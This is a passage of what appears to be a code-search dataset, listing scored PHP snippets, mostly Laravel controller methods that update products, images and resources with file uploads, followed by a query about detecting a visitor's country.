}, { "docid": "15c077d64c9ceb586f671a09513b8246", "score": "0.5682459", "text": "public function update(Request $request, $id)\n {\n $row = Product::find($id);\n if($row) {\n $oldimage = $row->image;\n $row->title = $request->title;\n $row->slug = str_replace(' ', '-', strtolower($request->title));\n $row->category_id = $request->category_id;\n $row->brand_id = $request->brand_id;\n $row->price = $request->price;\n $row->content = $request->content;\n $row->image = $oldimage;\n\n if($request->image){\n if($_FILES['image']['error'] == 0) {\n $filename = time() . '_' . $_FILES['image']['name'];\n\n $image = 'uploads/' . $filename;\n\n $destination = public_path($image) ;\n\n $is_uploaded = move_uploaded_file($_FILES['image']['tmp_name'], $destination);\n\n if($is_uploaded) {\n if(is_file(public_path($oldimage))) {\n unlink(public_path($oldimage));\n }\n $row->image = '/' . $image;\n }\n }\n }\n\n $row->save();\n }\n return redirect()->back();\n\n }", "title": "" }, { "docid": "359f6b66cab79746b3c9bb9ba71db220", "score": "0.56804216", "text": "public function update(ProductRequest $request, Product $product)\n {\n// $product->productsHistory()->save($product->except('image', 'vendor_id'));\n tap($product)->update([\n 'name' => $request->input('product.name'),\n 'vendor_id' => $request->input('product.vendor_id'),\n 'description' => $request->input('product.description'),\n 'price' => $request->input('product.price'),\n 'cost' => $request->input('product.cost'),\n 'image' => $request->input('product.image'),\n ]);\n dispatch(new CacheData(auth()->user()));\n return new ProductAllDataResource($product);\n }", "title": "" }, { "docid": "e08e873b4ef207afab432dfb5491c0cf", "score": "0.5677409", "text": "public function update(Request $request, $id)\n {\n $producto = Producto::findOrFail($id);\n $dataProducto=json_decode($request->producto,true);\n if($producto->foto != $dataProducto['foto']){\n Storage::delete($producto->foto);\n $file=$request->file('archivo');\n $ruta=$file->storeAs('img',time() . $file->getClientOriginalName(),'public');\n $producto->foto=$ruta;\n }\n $producto->nombre=$dataProducto['nombre'];\n $producto->detalle=$dataProducto['detalle'];\n $producto->precio=$dataProducto['precio'];\n $producto->asociado_id=$dataProducto['asociado_id'];\n if($producto->save()){\n return new ProductoResource($producto);\n }\n }", "title": "" }, { "docid": "77c5abc6b152e12d927f19d28ebfa590", "score": "0.5673537", "text": "public function updateStorageService($name, $options);", "title": "" }, { "docid": "9025ceea51e126c303a0cefd6bb34e4e", "score": "0.56732917", "text": "public function update(Request $request, Product $product)\n {\n $product->update($request->all());\n\n if($request->file('file')){\n $url = Storage::put('products', $request->file('file'));\n if($product->image){\n Storage::delete($product->image->url);\n\n $product->image()->update([\n 'url' => $url\n ]);\n }\n else{\n $product->image()->create([\n 'url' => $url\n ]);\n }\n }\n return redirect()->route('admin.products.index', $product)->with('Exito2','¡Se ha actualizado el producto con exito! ');\n}", "title": "" }, { "docid": "5b824457eb3318778d2a67f1f5dfc4ff", "score": "0.5671616", "text": "public function update(Request $request, $id)\n {\n //actualizar procducts\n\n $product =Product::findOrFail($id,);\n $product-> name=$request->input('name');\n $product-> price=$request->input('price');\n $product-> save();\n return new ProductResource($product);\n\n\n\n }", "title": "" }, { "docid": "09bd4dd53076527911b91beb82f9c3a4", "score": "0.56539524", "text": "public function update(Request $request, $id)\n {\n //\n $product_data=request()->except(['_token','_method']);\n \n if ($request->hasFile('Image_path')) {\n # code...\n $product = Products::findOrFail($id);\n Storage::delete('public/'.$product->Image_path);\n $product_data['Image_path']=$request->file('Image_path')->store('uploads', 'public');\n \n }\n Products::where('id','=',$id)->update($product_data);\n\n //$product = Products::findOrFail($id);\n //return view('products.edit', compact('product'));\n return redirect('productos')->with('Message','Producto modifiado con exito.');\n }", "title": "" }, { "docid": "d1bfc26f51571559d08876ca1ee1e3c3", "score": "0.565382", "text": "public function updateStream($path, $resource, $config = null)\n {\n return $this->uploadStream($path, $resource, WriteMode::force());\n }", "title": "" }, { "docid": "bd335a6afd825ec9c0e9d48a8ae6ad74", "score": "0.56527406", "text": "public function update(Request $request, $id)\n {\n $product = Product::findOrFail($id);\n\n $product->description = $request->description;\n $product->price = $request->price;\n $product->type = $request->type;\n $product->qty = $request->qty;\n\n if($request->hasFile('imglink')){\n $avatar = $request->file('imglink');\n $filename = time(). '.' . $avatar->getClientOriginalExtension();\n Image::make($avatar)->resize(300, 300)->save( public_path('/img/' . $filename ) );\n\n $product->imglink = $filename;\n }\n\n $product->update();\n\n //$product = Product::paginate(10);\n //return view('products.products', compact('products'));\n return redirect('products');\n }", "title": "" }, { "docid": "b12ae77c453a22ab164b3b8004dd9fdf", "score": "0.56446284", "text": "public function update($name, $object);", "title": "" }, { "docid": "792447dfa646026b3e9533c56a80e725", "score": "0.564", "text": "public function updateStream ($path, $resource, Config $config)\n {\n return $this->writeStream ($path, $resource, $config);\n }", "title": "" }, { "docid": "6120bba94c23aff61a9143580e98d499", "score": "0.5634615", "text": "public function update(Request $request, $id)\n {\n $resource = Resource::find($id);\n if ($resource) {\n if ($request->user()->cannot('update-resource', $resource)) {\n abort(403);\n }\n\n $this->sanitizeInput($request);\n $validator = $this->validator($request->all(), $id);\n\n if ($validator->fails()) {\n return redirect(route('resource.edit', ['id' =>$resource->id]))\n ->withInput()\n ->withErrors($validator);\n }\n\n $resource->title = $request->input('title');\n $resource->link = $request->input('url');\n $resource->cat_id = $request->input('category');\n $resource->description = $request->input('description');\n $resource->save();\n\n return redirect(route('index'))->with('status', 'Resource Updated Successfully');\n }\n abort(404);\n }", "title": "" }, { "docid": "e975cdf5e9d326eb5b73dc2a9ed53878", "score": "0.5629534", "text": "public function updateResource(string $link, array $data = null): string\n {\n $payload = ['json' => $data];\n\n $this->connectToFiken($link, 'PUT', $payload);\n\n // Fiken returns an empty body on successful updates, so we just return the link to the updated resource\n return $link;\n }", "title": "" }, { "docid": "6bbc6190ab101a78c810c8657a536fb8", "score": "0.56255704", "text": "public function update( $params = array() ) {\n\t\tif ( !is_array( $params ) ) {\n\t\t\terror_log( __METHOD__ . '() $params provided are not an array' );\n\t\t\tthrow new Exception( 'parameter type error', 1 );\n\t\t}\n\n\t\t$mode = 'a';\n\n\t\tif ( !empty( $params['mode'] ) && is_string( $params['mode'] ) ) {\n\t\t\t$mode = filter_var( $params['mode'], FILTER_SANITIZE_STRING );\n\t\t}\n\n\t\t$fp = @fopen( $params['storage_path'] . '/' . $params['filename'], $mode );\n\n\t\tif ( $fp ) {\n\t\t\t$bytes = fwrite( $fp, $params['content'] );\n\t\t} else {\n\t\t\terror_log( __METHOD__ . '(), could not update [' . $params['filename'] . ']' );\n\t\t\tthrow new Exception( 'could not update a resource', 12 );\n\t\t}\n\n\t\treturn fclose( $fp );\n\t}", "title": "" }, { "docid": "b0976d68e90a64aa5595f98c7a413119", "score": "0.5621308", "text": "public function update(QStore $request, $id)\n {\n //\n }", "title": "" }, { "docid": "1ca4d9d9f232ed11815a13afa8452939", "score": "0.56211114", "text": "public function update(Request $request, $id)\n {\n $request->validate([ \n 'title' => 'required|min:10|max:190',//specify the table name in the database for unique validation \n 'file_path'=>'required', \n 'body' => 'required|min:50' \n ]);\n $res = Ressource::findOrFail($id);\n $res->title = $request['title'];\n $res->image_path = $request['image_path'];\n $res->file_path = $request['file_path'];\n $res->body = $request['body'];\n $res->update();\n\n return redirect('manage_ressources');\n }", "title": "" }, { "docid": "1e16c5691c8e2eef352403af3df19b93", "score": "0.561985", "text": "public static function update($resources){\n\t\t$db=Db::getConnect();\n\t\t$update=$db->prepare('UPDATE resources SET name=:name, description=:description,\n\t\t\tlocation=:location, image=:image WHERE id=:id');\n\t\t$update->bindValue('name', $resources->getName());\n\t\t$update->bindValue('description',$resources->getDescription());\n\t\t$update->bindValue('location',$resources->getLocation());\n\t\t$update->bindValue('image',$resources->obtenerImagen());\n\t\t$update->bindValue('id',$resources->getId());\n\t\t$update->execute();\n\t}", "title": "" }, { "docid": "ad1ca99be415c735a2ef2f4128a1f1c0", "score": "0.56082803", "text": "public function update(StorageProductRule $request, Product $product)\n {\n $this->product->UpdateProduct($request,$product);\n return redirect()->route('product.index')->with('message','Product updated successfully!');\n }", "title": "" }, { "docid": "a2ddcd85128f60ff32a767eb3d311bd4", "score": "0.56082344", "text": "public function update(Request $request, $id)\n {\n $this->validate(request(),[\n 'title' => 'required',\n 'desc' => 'required',\n 'category_id' => 'required|integer',\n 'price' => 'required|regex:/^[0-9]+(\\.[0-9][0-9]?)?$/',\n 'image' => 'image|max:2000',\n ]);\n\n $product = Product::findOrFail($id);\n\n $s3 = Storage::disk('s3');\n $image = request()->image;\n\n $product->title = $request->get('title');\n $product->desc = $request->get('desc');\n $product->category_id = $request->get('category_id');\n $product->price = $request->get('price');\n\n if ($image != null)\n {\n $path = $s3->putFileAs('product_images/'.$product->user_id, $image, $image->getClientOriginalName() , 'public');\n $product->imageLocation = Storage::disk('s3')->url($path);\n }\n $product->save();\n return redirect(\"/userproducts/$product->user_id\");\n }", "title": "" }, { "docid": "1ceaeb30b587b555369c4247fb10e594", "score": "0.5603278", "text": "public function putAction()\n {\n $t = $this->createTable();\n $this->record = $t->load($this->getRequest()->getInt('_id'));\n $vars = $this->getRequest()->getParams();\n if (!empty($vars['nested']))\n {\n $this->_nestedInput = $vars['nested'];\n unset($vars['nested']);\n }\n $this->setForUpdate($this->record, $vars);\n $this->record->update();\n $this->updateNested($this->record, $vars);\n $this->apiOutRecords(array($this->record));\n }", "title": "" }, { "docid": "4a62a78ed2019e37a1f11273a9e45c02", "score": "0.55921906", "text": "public function putAction() {\n $token = $this->_getParam('token', 0);\n $id = $this->_getParam('id', 0);\n if (ZendX_Utilities_SecurityWSCheck::isValid($token)) {\n $id = $this->_getParam('id', 0);\n\n $this->view->id = $id;\n $this->view->params = $this->_request->getParams();\n $this->view->message = sprintf('Resource #%s was Updated', $id);\n $this->_response->ok();\n } else {\n// $this->view->message = sprintf('Forbidden', $id);\n $this->_response->forbidden();\n }\n }", "title": "" }, { "docid": "ab9ec1cab0ba86404b7b85cde684c6b8", "score": "0.558271", "text": "public function update(Request $request, $id)\n {\n $image = Image::findOrfail($id);\n $image->fill($request->all());\n\n if($request->hasFile('path'))\n {\n $path = $request->file('path')->store('public');\n $image->fill(['path' => $path]);\n \n }\n $image->save();\n\n return redirect()->route('images.index')->with('info', 'Imagen editada exitosamente');\n }", "title": "" }, { "docid": "1571f300ade8156825f5ac0eb703bea0", "score": "0.5582257", "text": "public function testResourcesCanBeUpdated(): void\n {\n $admin = User::factory()->admin()->create();\n $resource = Resource::factory()->create();\n\n $response = $this->actingAs($admin)->put('resources/'.$resource->id, [\n 'name' => 'New Resource Name',\n ]);\n\n $response->assertRedirect('/resources');\n $this->assertDatabaseHas('resources', [\n 'name' => 'New Resource Name',\n ]);\n }", "title": "" }, { "docid": "b493f0ac75566bd77b9da4733fecab90", "score": "0.5582209", "text": "public function updateResource(Request $request)\n {\n $validator = Validator::make($request->all(), [\n 'resource_id' => 'required|exists:trip_resources,id',\n 'user_id' => 'required|exists:publishers,id',\n 'type' => 'required|in:vedio,image',\n 'desc' => 'nullable',\n 'resource' => 'nullable|max:30000000',\n 'lat' => 'required',\n 'lng' => 'required',\n 'address' => 'required'\n\n ]);\n if ($validator->passes()) {\n $resource = TripResource::find($request['resource_id']);\n\n if ($resource->trip->publisher_id == $request['user_id']) {\n $resource->type = $request['type'];\n $resource->desc = $request['desc'];\n $resource->lat = $request['lat'];\n $resource->lng = $request['lng'];\n $resource->address = $request['address'];\n if ($request['resource']) {\n File::delete('uploads/tripResources/' . $resource->resource);\n if ($request['type'] == \"image\") {\n $photo = $request->resource;\n $name = date('d-m-y') . time() . rand() . '.' . $photo->getClientOriginalExtension();\n Image::make($photo)->save('uploads/tripResources/' . $name);\n } else {\n $vedio = $request->resource;\n $name = date('d-m-y') . time() . rand() . '.' . $vedio->getClientOriginalExtension();\n $vedio->move(public_path('uploads/tripResources'), $name);\n }\n $resource->resource = $name;\n }\n $resource->update();\n $msg = $request['lang'] == 'ar' ? ' تم التعديل.' : ' update sucessful.';\n return response()->json(\n [\n 'status' => true,\n 'data' => \"\",\n 'msg' => $msg\n ]\n );\n } else {\n $msg = $request['lang'] == 'ar' ? ' المستخدم لايملك هذه الرحله.' : ' user not owner the trip.';\n return response()->json(\n [\n 'status' => false,\n 'data' => \"\",\n 'msg' => $msg\n ]\n );\n }\n\n } else {\n foreach ((array)$validator->errors() as $key => $value) {\n foreach ($value as $msg) {\n return response()->json(['status' => false, 'msg' => $msg[0]]);\n }\n }\n }\n }", "title": "" }, { "docid": "4016847dea9b55e59a4acd18600a30f5", "score": "0.55813426", "text": "public function update($request, $id);", "title": "" }, { "docid": "9d8cba34413cd6e6b48618c3db86055c", "score": "0.55810744", "text": "public function update(Request $request, $id)\n {\n $im = Image::find($id);\n $im->product_id = $request->product_id;\n $im->img_path = $request->img_path;\n \n $im->update();\n\n return redirect(route('image.show',$im->id));\n }", "title": "" }, { "docid": "2f36f1d4154ef1a2d8557fd96028dafb", "score": "0.55801266", "text": "public function updateStream($path, $resource, Config $config)\n {\n try {\n $result = $this->client->post('update', [\n 'query' => ['path' => $path],\n 'body' => $resource\n ]);\n\n $response = json_decode($result->getBody()->getContents(), true);\n\n if ($response['response']) {\n return true;\n }\n\n throw new Exception($response['message']);\n\n } catch (RequestException $e) {\n throw new Exception($e->getMessage(), $e->getCode(), $e);\n }\n }", "title": "" }, { "docid": "b34e21aac9031dd439acaadc48395628", "score": "0.5579814", "text": "public function update(Request $request, $id)\n {\n\n $this->validate($request, [\n \"name\" => 'required',\n \"description\" => 'required',\n \"genre_id\" => 'required',\n \"category_id\" => 'required',\n \"price\" => 'required|integer',\n \"size_id\" => \"required\",\n \"stock\" => \"required|integer\",\n \"imageLoc\" => \"image|dimensions:min_width=340,max_width=366,min_height=440,max_height=466\",\n \"imageLoc2\" => \"image|dimensions:min_width=340,max_width=366,min_height=440,max_height=466\",\n ]);\n\n $product = Product::find($id);\n\n $product->name = $request->input(\"name\");\n $product->description = $request->input(\"description\");\n $product->genre_id = $request->input(\"genre_id\");\n $product->category_id = $request->input(\"category_id\");\n $product->price = $request->input(\"price\");\n $product->size_id = $request->input(\"size_id\");\n $product->stock = $request->input(\"stock\");\n\n $path = $request->file('imageLoc');\n $path2 = $request->file('imageLoc2');\n\n $extension = $request->file('imageLoc')->extension();\n $extension2 = $request->file('imageLoc2')->extension();\n\n\n if (!is_null($path)) {\n $path->storeAs('public/products', '1'.$request->user()->id.'.'.$extension);\n $product->imageLoc = 'storage/products/1'.$request->user()->id.'.'.$extension2;\n }\n if (!is_null($path2)) {\n $path2->storeAs('public/products', '2'.$request->user()->id);\n $product->imageLoc2 = 'storage/products/2'.$request->user()->id;\n }\n\n\n $product->save();\n\n\n return redirect()->route('products.show',['id' => $id]);\n }", "title": "" }, { "docid": "60b9f0eec9bbbce5da5e2b8796798a94", "score": "0.5576629", "text": "public function update(SitioUpdateRequest $request)\n { \n\n $sitio = Sitio::find(1);\n $sitio->name = $request->name;\n\n if($request->hasFile('picture')){\n\n $oldFile = $sitio->picture;\n $file = $request->file('picture');\n $destination_path = public_path().'/file/';\n $name = 'sitio_' . time() . '.' . $file->getClientOriginalName();\n \\Storage::disk('local')->put($name, \\File::get($file));\n unlink($destination_path.$oldFile);\n $sitio->picture = $name;\n }\n\n $sitio->save();\n\n \\Session::flash('success', 'Sitio actualizado exitosamente.');\n\n return redirect()->to('/admin/home'); \n }", "title": "" }, { "docid": "d6f71bb85fc7a75982a80e5421b6054e", "score": "0.55763113", "text": "public function update(Request $request, $id)\n {\n //\n $product = Product::findOrFail($id);\n\n $product->product_name = $request->product_name;\n $product->product_description = $request->product_description;\n $product->brand_id = $request->brand_id;\n $product->product_price = $request->product_price;\n $product->area_id = $request->area_id;\n $product->subcategory_id = $request->subcategory_id;\n $product->condition = $request->condition;\n\n // if($request->hasFile('product_image'))\n // {\n // $path = $request->product_image->store('images');\n // // $product->product_image = $request->product_image->hashName();\n // }\n // }\n\n $product->save();\n\n flash('Product successfully updated')->success();\n\n return redirect()->route('products.edit',$product->id);\n\n }", "title": "" }, { "docid": "f8cd6649bfa223d8861db5374702fc62", "score": "0.5569909", "text": "public function updateFromResource(\n $resourceResource,\n $exerciseResource\n )\n {\n parent::updateFromSharedResource($resourceResource, $exerciseResource, 'resource_storage');\n $exerciseResource = $this->computeRequirements($exerciseResource, $resourceResource);\n\n if (!is_null($resourceResource->getArchived())) {\n $exerciseResource->setArchived($resourceResource->getArchived());\n }\n\n return $exerciseResource;\n }", "title": "" }, { "docid": "f77c93b62808595a63d9f6f31b1f80e0", "score": "0.55661047", "text": "public function updateStream($path, $resource, Config $config)\n {\n return $this->writeStream($path, $resource, $config);\n }", "title": "" }, { "docid": "8c6acbc80b9bce2875ae52d0218c6db7", "score": "0.5556945", "text": "public function update(Request $request, ImagesStorage $imagesStorage)\n {\n //\n }", "title": "" }, { "docid": "9c16790d9595ec15edbb9f90b1a893da", "score": "0.55535865", "text": "public function update(Request $request, Product $product)\n {\n // error_log($request);\n \n $product->category_id=$request->category_id;\n $product->user_id=$request->user()->id;\n\n $product->name=$request->name;\n $product->description=$request->description;\n $product->price= $request->price;\n\n //$product->photo= \"/storage/\".$request->file('photo')->store(\"photos\");\n\n $product->stock= $request->stock;\n\n $product->save();\n // error_log($product);\n return response()->json([\n 'status' => '201',\n 'message' => 'Product updated',\n 'product'=>$product\n ]);\n }", "title": "" }, { "docid": "4d9a8860c5c0baa27686ce3d50c1577f", "score": "0.5530968", "text": "public function update(Request $request, Product $product)\n {\n $validation = Validator::make($request->all(), [\n 'name' => 'min:3|max:100',\n 'description' => 'min:5',\n 'price' => 'integer',\n 'quantity' => 'integer',\n 'image_path' => 'image|mimes:jpg,jpeg,svg,png'\n ]);\n\n $newPath = \"\";\n if ($request->hasFile('image_path')) {\n Storage::delete('products/' . $product->image_path);\n $newPath = $request->file('image_path')->store('public/products');\n }\n\n if ($validation->fails()) {\n return response()->json($validation->errors(), 422);\n }\n\n $product->name = $request->get('name', $product->name);\n $product->description = $request->get('description', $product->description);\n $product->price = $request->get('price', $product->price);\n $product->quantity = $request->get('quantity', $product->quantity);\n $product->image_path = $request->get($newPath, $product->image_path);\n\n $product->save();\n return new ProductIndexResource($product);\n }", "title": "" }, { "docid": "416eb5614de4e6fedf65c1c8ec3c5924", "score": "0.5518426", "text": "public function update(Request $request, $id)\n {\n $request->validate([\n 'name'=>'required',\n 'category_id'=>'required|integer',\n 'status'=> 'required|boolean',\n 'picture'=> 'required',\n 'gender' => 'required',\n ]);\n $pic = null;\n if ($request->hasFile('picture')) {\n\n $image = $request->file('picture');\n $name = uniqid().'.'.$image->getClientOriginalExtension();\n $destinationPath = public_path('/images');\n $image->move($destinationPath, $name);\n $pic = \"images/{$name}\";\n }\n $product = \\App\\Product::find($id);\n $product->name = $request->get('name');\n $product->category_id = $request->get('category_id');\n $product->status = $request->get('status');\n $product->picture = $pic;\n $product->gender = $request->get('gender');\n $product->save();\n\n return redirect('/products')->with('success', 'Stock has been updated');\n\n\n }", "title": "" }, { "docid": "9e68af5ab6e6fd50f6b3af43fa9adffb", "score": "0.5518285", "text": "public function update(Request $request, $id)\n {\n //\n\n $specialOffers = SpecialOffer::find($id);\n $specialOffers->product_title = $request->sliderTitle;\n $specialOffers->product_price = $request->sliderDetails;\n $specialOffers->product_available = $request->productPrice;\n $specialOffers->product_sold = $request->product_sold;\n \n \n if($request->file('image')){\n $image = $request->file('image');\n Storage::putFile('public/img/',$image);\n $specialOffers->image =\"storage/img/\".$image->hashName();\n }\n $specialOffers->save();\n \n return redirect()->route('admin.specialOffers.create')->with('success','specialOffers details updated Successfully');\n }", "title": "" }, { "docid": "7fcc3e1a5efb0809a329cb304b469001", "score": "0.55178463", "text": "public function update(Request $request, $id)\n {\n $this->validate($request, Product::validate());\n\n if ($request->hasFile('image')) {\n\n $file = $request->file('image');\n $path = $file->store('/',\n [\n 'disk' => 'uploads'\n ]);\n $request->merge([\n 'image_path' => $path\n ]);\n }\n $data = request()->except(['_token', '_method', 'image']);\n $product = Product::where('id', $id)->update($data);\n return redirect()->route('products.index')->with([\n 'success' => 'Product Updated Successfully'\n ]);\n }", "title": "" }, { "docid": "055d9a75bb90fd4afdce24cc7ce3d70d", "score": "0.5517729", "text": "public function update(Request $request, $id)\n {\n $product = Product::find($id);\n $product->sizes()->sync($request->sizes);\n $product->update([\n 'name' => $request->input('name'),\n 'description' => $request->input('description'),\n 'price' => $request->input('price'),\n 'published' => $request->input('published'),\n 'discount' => $request->input('discount'),\n 'category_id' => $request->input('category_id'),\n 'ref' => $request->input('ref')\n ]);\n\n return redirect('/admin/products');\n }", "title": "" }, { "docid": "f5b4408354bfa9c8612fac65129c141b", "score": "0.5516778", "text": "public function update(StoreProductRequest $request, $id)\n {\n //\n $request->validated();\n\n $obj = Product::find($id);\n $obj->name = Input::get('name');\n $obj->categoryId = Input::get('categoryId');\n $obj->price = Input::get('price');\n $obj->discount = Input::get('discount');\n if(Input::hasFile('thumbnail')) {\n $image_id = time();\n Cloudder::upload(Input::file('thumbnail')->getRealPath(), $image_id);\n $obj->thumbnail = Cloudder::secureShow($image_id);\n }\n $obj->description = Input::get('description');\n $obj->save();\n return redirect('admin/product');\n }", "title": "" }, { "docid": "864750e43aa4e758ff3496700f1f1f1e", "score": "0.55164015", "text": "public function update(Request $request, Path $path)\n {\n //\n \n $data = $request->all();\n \n if($request->file('image')){\n $data['image'] = $request->file('image')->store('assets/path', 'public');\n }\n\n $path->update($data);\n \n return redirect()->route('paths.index');\n }", "title": "" }, { "docid": "7fd319ddde01606213623cf2e0b3cd4d", "score": "0.55120105", "text": "public function putAction() \n\t\t{\n\t\t\t$this->logger->log($this->tableName.\" Put (UPDATE) Action Called: \", Zend_Log::DEBUG);\n\t\t\t$id = $this->_getParam('id');\n\t\t\t$idName = $this->idName;\n\t\t\t$where = $this->restTable->getAdapter()->quoteInto(\"$idName=?\",$id);\n\t\t\t$data = Zend_Json::decode($this->getRequest()->getRawBody() );\n\t\t\t$this->boolToString($data);\n\t\t\t$this->logger->log(\"Put Data: \".print_r($data,true), Zend_Log::DEBUG);\n\t\t\t$this->restTable->update($data, $where);\n\n\t\t\t$this->getResponse()->appendBody(Zend_Json::encode($data));\n\t\t\t$this->getResponse()->setHttpResponseCode(200);\n\t\t\treturn;\n\t\t}", "title": "" }, { "docid": "d0000a29e08a3caea99d0d7a508a62b5", "score": "0.55111337", "text": "public function update(Request $request, $id)\n {\n $product = Product::findOrFail($id);\n $product->year = $request->year;\n $product->term = $request->term;\n $product->category = $request->category;\n $product->description = $request->description;\n $product->amount = $request->amount;\n if($product->save())\n {\n return new ProductResource($product); \n }\n }", "title": "" }, { "docid": "b9649f8d6cb9c4ee8bb3abe05e064755", "score": "0.5510288", "text": "public function setResource(string $resource): void;", "title": "" }, { "docid": "e181d2272099f0db207ddf129f5df092", "score": "0.550741", "text": "public function update(StoreBlogPost $request, $id)\n {\n $validated = $request->validated();\n $article = Article::find($id);\n\n if(array_key_exists('image',$validated)){\n $path = $validated['image']->store('public');\n $filename = str_replace(\"public/\",\"\",$path);\n $contents = Storage::get('public/'.$filename);\n Storage::disk('s3')->put($filename, $contents, 'public');\n $article->image = Storage::disk('s3')->url($filename);\n}\n $article->article = $validated['article'];\n $article->title = $validated['title'];\n $article->writer = Auth::user()->name;\n $article->save();\n return redirect('/article/');\n }", "title": "" }, { "docid": "e7cb685cc382abd24083c8b13d97a179", "score": "0.5507017", "text": "public function put() : Resource {\n try{\n \n $this->method = 'PUT';\n return $this;\n\n } catch (\\Throwable $t){\n new ErrorTracer($t);\n }\n }", "title": "" }, { "docid": "0b37c1df43abb728d7b1dd5cd037ea17", "score": "0.55022466", "text": "public function update($id)\n\t{\n $modelname = $this->modelname;\n $resource = $modelname::find($id);\n if($resource)\n {\n $resource->update(Input::json()->all());\n return $resource;\n }\n\t}", "title": "" }, { "docid": "08757cc2c81b23ca63469f255efa2060", "score": "0.5502139", "text": "protected function update() {\n $this->client->sendRequest('POST', $this->name . ($this->key ? : (string) $this->id), $this->prepareRequestData());\n }", "title": "" }, { "docid": "73d0372fbd1136bccf7139013889818a", "score": "0.5499022", "text": "public function update(SliderimageRequest $request, $id)\n {\n if (! Gate::allows('full')) {\n return redirect( url('admin') )->with('failed', 'Sorry, You are not authorized');\n }\n $update = Sliderimage::getItem($id);\n if($update){\n $uploadFile = $this->articleService->uploadFile('image','uploads/sliders/');\n if($uploadFile != ''){\n $this->articleService->delFile($update->image);\n }\n $update->title = $request->title; \n $update->key = $request->key;\n $update->content = $request->content;\n $update->html = $request->html;\n $update->image = ($uploadFile == '') ? $update->image : $uploadFile;\n $update->save();\n return redirect()->route('sliderimages.index')->with('update_succeeded',config('admin.update_succeeded') );\n }\n }", "title": "" }, { "docid": "4d6dd204fb19a2d6fc40011791b9128d", "score": "0.54963744", "text": "public function update(Request $request, $id)\n {\n //\n $promotion = Promotion::findOrFail($id);\n\n if ($request->hasFile('photo')) {\n $photo = $request->photo;\n\n $path = 'images/promotion';\n $filename = $id . '.' . $photo->extension();\n $photo->storeAs($path, $filename);\n\n $promotion->image = 'storage/app/public/' . $path . '/' . $filename;\n }\n\n $input = $request->all();\n\n $validField = $promotion->fillable;\n\n foreach ($input as $key=>$data) {\n if (in_array($key, $validField)) {\n $promotion[$key] = $data;\n }\n }\n\n $promotion->save();\n\n return new PromotionResource($promotion);\n\n }", "title": "" }, { "docid": "ebfc2a23b89e301d5a4b298c50156e0d", "score": "0.54949397", "text": "public function update($id);", "title": "" }, { "docid": "ebfc2a23b89e301d5a4b298c50156e0d", "score": "0.54949397", "text": "public function update($id);", "title": "" }, { "docid": "7c08d21dd4b1755fd5741490a1848a10", "score": "0.5493504", "text": "public function update(Request $request, $id)\n {\n $store = Store::find($id);\n $store->name = $request->name;\n $store->phone = $request->phone;\n $store->email = $request->email;\n $store->address = $request->address;\n $store->description = $request->description;\n $store->product_id = $request->product_id;\n if($request->hasFile('image')){\n $imageFile = $request->file('image');\n $filename = microtime().'-'.$imageFile->getClientOriginalName();\n $imageFile->move(public_path('image\\store'), $filename);\n $store->image = \"image\\store\\\\\".$filename;\n }\n $store->save();\n\n return response()->json([\n 'message' => \"Update successfully store\",\n 'data' => $store\n ], 201);\n }", "title": "" }, { "docid": "f7ab1c5db894b7225c3f202ae4974bc5", "score": "0.54868174", "text": "public function update(Request $request, $id)\n {\n $product = Product::find($id);\n $requestData = $request->all();\n\n if ($request->hasFile('image_url')) {\n $old_image = $product->image_url;\n File::delete(public_path() . $old_image);\n\n $file = $request->file('image_url');\n $path = $this->fileUpload($file, 'product');\n $requestData['image_url'] = $path;\n }\n\n $product->update($requestData);\n //快閃資料\n return redirect('/admin/product')->with('update','更新成功!');\n }", "title": "" }, { "docid": "f6cc867169101865f07b0dad1605b01d", "score": "0.54849625", "text": "protected function update()\n {\n // TODO: unlink existing $image file\n $image_location = File::storeImage('image');\n\n $data = [\n ':title' => request('title'),\n ':slug' => request('slug'),\n ':has_flowers' => request('has_flowers'),\n ':introduction' => request('introduction'),\n ':description' => request('description'),\n ':colour' => request('colour'),\n ':growth_location' => request('growth_location'),\n ':ripe_season' => request('ripe_season'),\n ':average_years' => request('average_years'),\n ':average_height' => request('average_height'),\n ':average_width' => request('average_width'),\n ':user_id' => $_SESSION['user']['id']\n ];\n\n if (file_error_ok('image')) {\n $data[':image'] = $image_location;\n }\n\n try {\n Vegetable::update((int) request('vegetable_id'), $data);\n } catch (Exception $exception) {\n dd('Exception message:' . $exception->getMessage());\n }\n\n redirect('/admin/vegetables');\n }", "title": "" }, { "docid": "fc5db9e752584d0ec2d27578be79f65f", "score": "0.5470857", "text": "public function update($entity)\n {\n\n }", "title": "" }, { "docid": "cb574ee109ef0c4933aff2189613ba88", "score": "0.5467008", "text": "public function update(Request $request, $id)\n {\n $product = Product::find($id);\n\n if (!$product) return new Response([\n 'result' => 'fail',\n 'message' => 'product not found'\n ]);\n\n $data = Input::all();\n\n foreach ($data as $key => $value) {\n if ($key === 'price') {\n $product->$key = $value*100;\n } else {\n $product->$key = $value;\n }\n }\n $product->save();\n return new Response(new ProductResource($product));\n }", "title": "" }, { "docid": "2f39a69c894818b4cdcdf93157a2f3e2", "score": "0.54660195", "text": "public static function putForResource($resource, $key, $value)\n {\n if (self::notEnoughResourceInfo($resource, $key)) {\n return;\n }\n self::$resource_registry[self::getResourceKey($resource)][$key] = $value;\n }", "title": "" }, { "docid": "e69ca8d6b4021523c67416bb5a8e3871", "score": "0.54627603", "text": "public function update($newpaht){}", "title": "" }, { "docid": "e328097d6411f857ba6a7cc2aad5a70a", "score": "0.54620916", "text": "public function update(ResourceCreator $listener, $resourceId, array $inputs);", "title": "" }, { "docid": "62614676e3e3e48351f4169c6b96fbbe", "score": "0.5461824", "text": "public function update(Request $request, $id)\n {\n //\n $datosproducto=request()->except('_token','_method');\n\n if($request->hasFile('Foto')){\n\n $producto=Productos::findOrFail($id);\n\n Storage::delete('public/'.$producto->Foto);\n\n $datosproducto['Foto']=$request->file('Foto')->store('uploads','public');\n }\n\n productos::where('id','=',$id)->update($datosproducto);\n\n //return response()->json($datosUsuario);\n\n $producto=productos::findOrFail($id);\n //return view('usuarios.edit', compact('usuario'));\n\n return redirect('productos')->with('Mensaje', 'Producto modificado con exito');\n }", "title": "" }, { "docid": "13060cd318eed312852c00ed17885787", "score": "0.5460793", "text": "public function update($object)\n {\n }", "title": "" } ]
900493086978a4250c5cbc94d2cc4935
Returns the visitor country based on the Browser 'accepted language' information, but provides a hook for geolocation via IP address.
